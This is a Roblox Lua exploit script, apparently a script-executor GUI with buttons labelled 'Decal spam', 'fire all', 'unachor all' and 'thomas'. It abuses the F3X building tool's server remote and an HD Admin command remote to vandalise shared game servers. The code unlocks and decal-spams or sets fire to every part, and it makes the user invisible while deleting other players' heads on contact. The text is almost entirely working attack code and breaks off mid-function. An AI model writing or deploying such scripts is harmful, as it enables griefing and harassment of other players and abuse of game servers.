
Key RequiredUniversal

-- Gui to Lua
-- Version: 3.2
-- Instances:
local ScreenGui = Instance.new("ScreenGui")
local ScrollingFrame = Instance.new("ScrollingFrame")
local ImageLabel = Instance.new("ImageLabel")
local TextLabel = Instance.new("TextLabel")
local TextButton = Instance.new("TextButton")
local Textbutton = Instance.new("TextButton")
local texto = Instance.new("TextButton")
local TextButton2 = Instance.new("TextButton")
local MACHINE = Instance.new("TextButton")
local tttt = Instance.new("TextButton")
local t2x2 = Instance.new("TextButton")
local TOLIT = Instance.new("TextButton")
local solo = Instance.new("TextButton")
local ama = Instance.new("TextButton")
local TextLabel1 = Instance.new("TextLabel")
local kylto = Instance.new("TextButton")
local kyla = Instance.new("TextButton")
local TextButton_2 = Instance.new("TextButton")
local TextButton1 = Instance.new("TextButton")
--Properties:
ScreenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
ScrollingFrame.Parent = ScreenGui
ScrollingFrame.Active = true
ScrollingFrame.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
ScrollingFrame.BorderColor3 = Color3.fromRGB(0, 0, 0)
ScrollingFrame.BorderSizePixel = 0
ScrollingFrame.Position = UDim2.new(0.226499557, 0, 0.161097854, 0)
ScrollingFrame.Size = UDim2.new(0, 566, 0, 459)
ScrollingFrame.CanvasPosition = Vector2.new(0, 459)
ImageLabel.Parent = ScrollingFrame
ImageLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
ImageLabel.BorderColor3 = Color3.fromRGB(0, 0, 0)
ImageLabel.BorderSizePixel = 0
ImageLabel.Position = UDim2.new(-0.0671378076, 0, -0.327886701, 0)
ImageLabel.Size = UDim2.new(0, 604, 0, 1135)
ImageLabel.Image = "rbxassetid://83275031168870"
TextLabel.Parent = ScrollingFrame
TextLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextLabel.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextLabel.BorderSizePixel = 0
TextLabel.Position = UDim2.new(0.249116614, 0, 0, 0)
TextLabel.Size = UDim2.new(0, 200, 0, 50)
TextLabel.Font = Enum.Font.SourceSans
TextLabel.Text = "Require gui f3x v9"
TextLabel.TextColor3 = Color3.fromRGB(0, 0, 0)
TextLabel.TextSize = 14.000
TextButton.Parent = ScrollingFrame
TextButton.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton.BorderSizePixel = 0
TextButton.Position = UDim2.new(0, 0, 0.176470593, 0)
TextButton.Size = UDim2.new(0, 200, 0, 50)
TextButton.Font = Enum.Font.SourceSans
TextButton.Text = "Decal spam Require community"
TextButton.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton.TextSize = 14.000
Textbutton.Name = "Textbutton"
Textbutton.Parent = ScrollingFrame
Textbutton.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Textbutton.BorderColor3 = Color3.fromRGB(0, 0, 0)
Textbutton.BorderSizePixel = 0
Textbutton.Position = UDim2.new(0.0106007066, 0, 0.100217864, 0)
Textbutton.Size = UDim2.new(0, 200, 0, 50)
Textbutton.Font = Enum.Font.SourceSans
Textbutton.Text = "get btools"
Textbutton.TextColor3 = Color3.fromRGB(0, 0, 0)
Textbutton.TextSize = 14.000
texto.Name = "texto"
texto.Parent = ScrollingFrame
texto.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
texto.BorderColor3 = Color3.fromRGB(0, 0, 0)
texto.BorderSizePixel = 0
texto.Position = UDim2.new(0.522968173, 0, 0.100217864, 0)
texto.Size = UDim2.new(0, 200, 0, 50)
texto.Font = Enum.Font.SourceSans
texto.Text = "SkyBox"
texto.TextColor3 = Color3.fromRGB(0, 0, 0)
texto.TextSize = 14.000
TextButton2.Name = "TextButton2"
TextButton2.Parent = ScrollingFrame
TextButton2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton2.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton2.BorderSizePixel = 0
TextButton2.Position = UDim2.new(0.522968173, 0, 0.187363833, 0)
TextButton2.Size = UDim2.new(0, 200, 0, 50)
TextButton2.Font = Enum.Font.SourceSans
TextButton2.Text = "thomas"
TextButton2.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton2.TextSize = 14.000
MACHINE.Name = "MACHINE"
MACHINE.Parent = ScrollingFrame
MACHINE.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
MACHINE.BorderColor3 = Color3.fromRGB(0, 0, 0)
MACHINE.BorderSizePixel = 0
MACHINE.Position = UDim2.new(0, 0, 0.288671017, 0)
MACHINE.Size = UDim2.new(0, 200, 0, 50)
MACHINE.Font = Enum.Font.SourceSans
MACHINE.Text = "fire all"
MACHINE.TextColor3 = Color3.fromRGB(0, 0, 0)
MACHINE.TextSize = 14.000
tttt.Name = "tttt"
tttt.Parent = ScrollingFrame
tttt.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
tttt.BorderColor3 = Color3.fromRGB(0, 0, 0)
tttt.BorderSizePixel = 0
tttt.Position = UDim2.new(0.522968173, 0, 0.282135069, 0)
tttt.Size = UDim2.new(0, 200, 0, 50)
tttt.Font = Enum.Font.SourceSans
tttt.Text = "unachor all"
tttt.TextColor3 = Color3.fromRGB(0, 0, 0)
tttt.TextSize = 14.000
t2x2.Name = "t2x2"
t2x2.Parent = ScrollingFrame
t2x2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
t2x2.BorderColor3 = Color3.fromRGB(0, 0, 0)
t2x2.BorderSizePixel = 0
t2x2.Position = UDim2.new(0, 0, 0.375817001, 0)
t2x2.Size = UDim2.new(0, 200, 0, 50)
t2x2.Font = Enum.Font.SourceSans
t2x2.Text = "Baseplate"
t2x2.TextColor3 = Color3.fromRGB(0, 0, 0)
t2x2.TextSize = 14.000
TOLIT.Name = "TOLIT"
TOLIT.Parent = ScrollingFrame
TOLIT.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TOLIT.BorderColor3 = Color3.fromRGB(0, 0, 0)
TOLIT.BorderSizePixel = 0
TOLIT.Position = UDim2.new(0.522968173, 0, 0.375817001, 0)
TOLIT.Size = UDim2.new(0, 200, 0, 50)
TOLIT.Font = Enum.Font.SourceSans
TOLIT.Text = "clone heads"
TOLIT.TextColor3 = Color3.fromRGB(0, 0, 0)
TOLIT.TextSize = 14.000
solo.Name = "solo"
solo.Parent = ScrollingFrame
solo.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
solo.BorderColor3 = Color3.fromRGB(0, 0, 0)
solo.BorderSizePixel = 0
solo.Position = UDim2.new(0, 0, 0.445533782, 0)
solo.Size = UDim2.new(0, 200, 0, 50)
solo.Font = Enum.Font.SourceSans
solo.Text = "alert and sm"
solo.TextColor3 = Color3.fromRGB(0, 0, 0)
solo.TextSize = 14.000
ama.Name = "ama"
ama.Parent = ScrollingFrame
ama.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
ama.BorderColor3 = Color3.fromRGB(0, 0, 0)
ama.BorderSizePixel = 0
ama.Position = UDim2.new(0.522968173, 0, 0.466230929, 0)
ama.Size = UDim2.new(0, 200, 0, 50)
ama.Font = Enum.Font.SourceSans
ama.Text = "shedletsky"
ama.TextColor3 = Color3.fromRGB(0, 0, 0)
ama.TextSize = 14.000
TextLabel1.Name = "TextLabel1"
TextLabel1.Parent = ScrollingFrame
TextLabel1.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextLabel1.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextLabel1.BorderSizePixel = 0
TextLabel1.Position = UDim2.new(0.323321551, 0, 0.519607842, 0)
TextLabel1.Size = UDim2.new(0, 200, 0, 50)
TextLabel1.Font = Enum.Font.SourceSans
TextLabel1.Text = "guiz OYE"
TextLabel1.TextColor3 = Color3.fromRGB(0, 0, 0)
TextLabel1.TextSize = 14.000
kylto.Name = "kylto"
kylto.Parent = TextLabel1
kylto.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
kylto.BorderColor3 = Color3.fromRGB(0, 0, 0)
kylto.BorderSizePixel = 0
kylto.Position = UDim2.new(-0.915000021, 0, 2.05999994, 0)
kylto.Size = UDim2.new(0, 200, 0, 50)
kylto.Font = Enum.Font.SourceSans
kylto.Text = "k00pgui v8 f3x"
kylto.TextColor3 = Color3.fromRGB(0, 0, 0)
kylto.TextSize = 14.000
kyla.Name = "kyla"
kyla.Parent = TextLabel1
kyla.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
kyla.BorderColor3 = Color3.fromRGB(0, 0, 0)
kyla.BorderSizePixel = 0
kyla.Position = UDim2.new(0.200000003, 0, 2.05999994, 0)
kyla.Size = UDim2.new(0, 200, 0, 50)
kyla.Font = Enum.Font.SourceSans
kyla.Text = "traficshittyhax v3 f3x"
kyla.TextColor3 = Color3.fromRGB(0, 0, 0)
kyla.TextSize = 14.000
TextButton_2.Parent = TextLabel1
TextButton_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_2.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_2.BorderSizePixel = 0
TextButton_2.Position = UDim2.new(-0.915000021, 0, 3.72000003, 0)
TextButton_2.Size = UDim2.new(0, 200, 0, 50)
TextButton_2.Font = Enum.Font.SourceSans
TextButton_2.Text = "z00lkiddl f3x gui"
TextButton_2.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton_2.TextSize = 14.000
TextButton1.Name = "TextButton1"
TextButton1.Parent = TextLabel1
TextButton1.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton1.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton1.BorderSizePixel = 0
TextButton1.Position = UDim2.new(0.200000003, 0, 3.72000003, 0)
TextButton1.Size = UDim2.new(0, 200, 0, 50)
TextButton1.Font = Enum.Font.SourceSans
TextButton1.Text = "lfuckyskidthedestroyer LEAK LOLZ"
TextButton1.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton1.TextSize = 14.000
-- Scripts:
local function RITO_fake_script() -- TextButton.Script
local script = Instance.new('Script', TextButton)
TextButton.MouseButton1Click:Connect(function() -- Replace with your instance name
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam("83275031168870") -- Replace with your decal ID
end)
end
coroutine.wrap(RITO_fake_script)()
local function XHIV_fake_script() -- Textbutton.Script
local script = Instance.new('Script', Textbutton)
Textbutton.MouseButton1Click:Connect(function() -- Replace with your instance name
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
RequestCommand:InvokeServer(";btools") -- U can change all of it with your commands!
RequestCommand:InvokeServer(";buildingTools")
end)
end
coroutine.wrap(XHIV_fake_script)()
local function IPJD_fake_script() -- texto.Script
local script = Instance.new('Script', texto)
texto.MouseButton1Click:Connect(function() -- Replace with your instance name
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,"Skybox")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"111891702759441") -- Dont change it
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(7200, 7200, 7200)) -- The rest must be equal to the first scale number
SetLocked(v,true)
end
end
end
Sky("83275031168870") -- Replace with your id
end)
end
coroutine.wrap(IPJD_fake_script)()
local function TKLMU_fake_script() -- TextButton2.Script
local script = Instance.new('Script', TextButton2)
TextButton2.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--HICK SI FINNY!
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
local player = game.Players.LocalPlayer
local char = player.Character
function xd()
spawn(function()
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = game:GetService("Players").LocalPlayer.Character.Torso,
["Transparency"] = 1
},
[2] = {
["Part"] = game:GetService("Players").LocalPlayer.Character:FindFirstChild("Left Leg"),
["Transparency"] = 1
},
[3] = {
["Part"] = game:GetService("Players").LocalPlayer.Character.HumanoidRootPart,
["Transparency"] = 1
},
[4] = {
["Part"] = game:GetService("Players").LocalPlayer.Character:FindFirstChild("Right Leg"),
["Transparency"] = 1
},
[5] = {
["Part"] = game:GetService("Players").LocalPlayer.Character:FindFirstChild("Right Arm"),
["Transparency"] = 1
},
[6] = {
["Part"] = game:GetService("Players").LocalPlayer.Character:FindFirstChild("Left Arm"),
["Transparency"] = 1
},
[7] = {
["Part"] = game:GetService("Players").LocalPlayer.Character.Head,
["Transparency"] = 1
},
}
}
_(args)
end)
end
function Thomas(player)
SetAnchor(true,char.HumanoidRootPart)
CreatePart(char.HumanoidRootPart.CFrame,char,"Normal")
SetCollision(char.Part,false)
SetLocked(char.Part,false)
Resize(char.Part,Vector3.new(5,5,10),char.HumanoidRootPart.CFrame)
CreateSpotlight(char.Part)
SyncLighting(char.Part,100)
SetLocked(char.HumanoidRootPart,false)
Weld(char.Part,char.HumanoidRootPart,char.Part)
SetAnchor(false,char.Part)
AddMesh(char.Part)
MeshResize(char.Part,Vector3.new(2,2,1.5))
SetMesh(char.Part,"2231280549")
SetTexture(char.Part,"2231280614")
SetAnchor(false,char.HumanoidRootPart)
char.Humanoid.WalkSpeed = 80
local function SFX(id) local s=Instance.new("Sound",char.Torso); s.SoundId = "rbxassetid://"..id; s.Volume = 1; return s; end
char.Part.Touched:connect(function(p)
if p.Parent then
if p.Parent:IsA("Model") then
if game.Players:FindFirstChild(p.Parent.Name) then
if p.Parent.Name ~= game.Players.LocalPlayer.Name then
spawn(function()
DestroyPart(game.Players:FindFirstChild(p.Parent.Name).Character.Head)
end)
local Whistle = SFX(475073913)
Whistle:Play()
end
end
end
end
end)
local Music = SFX(0)
Music.Pitch = 1.15
Music:Play()
game:GetService("RunService").RenderStepped:Connect(function()
for i,v in char:GetDescendants() do
if v:IsA("BasePart") then
char.Humanoid.WalkSpeed = 80
v.CanCollide = false
end
end
end)
end
Thomas(player)
xd()
end)
end
coroutine.wrap(TKLMU_fake_script)()
local function HTIRTGZ_fake_script() -- MACHINE.Script
local script = Instance.new('Script', MACHINE)
MACHINE.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--HICK SI FINNY!
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function AddFire(part)
local args = {
[1] = "CreateDecorations",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Fire"
}
}
}
_(args)
end
function FireParts()
for i,v in game.Workspace:GetDescendants() do
spawn(function()
SetLocked(v,false)
AddFire(v)
end)
end
end
FireParts()
local player = game.Players.LocalPlayer
end)
end
coroutine.wrap(HTIRTGZ_fake_script)()
local function UWOUJV_fake_script() -- tttt.Script
local script = Instance.new('Script', tttt)
tttt.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--HICK SI FINNY!
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
